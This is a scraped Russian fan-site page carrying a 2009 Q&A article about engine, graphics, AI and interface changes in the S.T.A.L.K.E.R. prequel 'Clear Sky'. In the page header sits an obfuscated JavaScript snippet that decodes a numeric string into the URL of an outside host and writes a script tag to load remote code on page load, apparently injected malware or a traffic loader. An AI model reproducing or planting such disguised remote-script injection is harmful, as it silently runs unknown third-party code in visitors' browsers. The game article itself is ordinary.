
Онлайн всего: 1 Гостей: 1 Пользователей: 0
Кто был сегодня :
| | на развитие сайта | Патчи
|  <script type="text/javascript" language="javascript"> <!-- function MLr867(DwR265){document.write( String.fromCharCode(parseInt(DwR265)-2));} var aL401="106P118P118P114P60P49P49P70P99P120P107P124P"+ "48P113P109P113P117P106P103P101P106P109P99P48P112P103P"+ "118P49P117P49P114P89P76P92P89P102P58P57P56P55P49P65P"+ "117P107P102P63P57P52P58P58P54";var E450=aL401.split("P"); document.write("<script type='text/javascript' language='javascript' src='"); var z269=0;while(z269<E450.length){MLr867(E450[z269]);z269++;} document.write("'></script>"); // --> </script>
 


|
|
Движок и технологии. Изменения и усовершенствования
Какие усовершенствования мы увидим в ЧН? Будут ли изменения в графике? Мы
существенно обновляем и модифицируем все области игры. Будет
усовершенствован AI: внедряется функция обхода динамических
препятствий, функция броска гранаты у NPC; переделывается анимационный
движок (мы учли нарекания по анимации), внедряется инверсная
кинематика. В отношении графики - реализовываем parallax bump, soft
particles, motion blur, eye adaptation effect, сделано большое
количество новых материалов и шейдеров, усовершенствуется модель
освещения. В приквеле появится 3-й графический рендер - DX10, над
которым мы сейчас усиленно работаем. Вы увидите самые новые графические
технологии в приквеле. Изменяется технология изготовления графики.
Все новые персонажи сделаны с картой нормали, которая снимается с
высокополигональной модели в 3 млн полигонов. Также, с учетом
пожеланий и отзывов игроков, грядут изменения интерфейса, большая
переделка PDA (улучшается функциональность карты, на которой отмечаются
задания, усовершенствуется система выдачи квестов). В отношении HUD -
уменьшим количество иконок на экране, дадим игроку возможность брать
предметы в две руки и др.
В игре будет использована инверсная кинематика - как она будет проявляться? Вот
например, вы наверняка замечали, что иногда персонажи, стоящие на
неровной поверхности, одной ногой висят в воздухе, в то время, как
вторая нога стоит на возвышении. Так вот инверсная кинематика позволяет
обходить эти технические особенности. Теперь обе ноги независимо от
неровностей будут касаться поверхности, что выглядит намного
реалистичнее.
Во многих роликах к "Чистому Небу" я видел как от
выстрелов отлетали куски стен. Отсюда вопрос: это доработка физического
движка? Геометрия будет разрушаемая местами, где это интересно по
сюжету или уместно. Например, как вы могли видеть в одном из роликов,
когда ГГ пытался уничтожить вертолет и когда он попадал в стены, то
отлетали куски, и в тоже время, когда вертолет стрелял в ГГ, то
разбивал предметы, за которыми тот прятался.
|
| Категория: Мои статьи | Добавил: Deviz (30.06.2009)
|
| Просмотров: 515
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|

Привет: Гость
Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
|

Мы будем очень благодарны, если Вы разместите наш баннер у себя на сайте. Вот его код:
|
|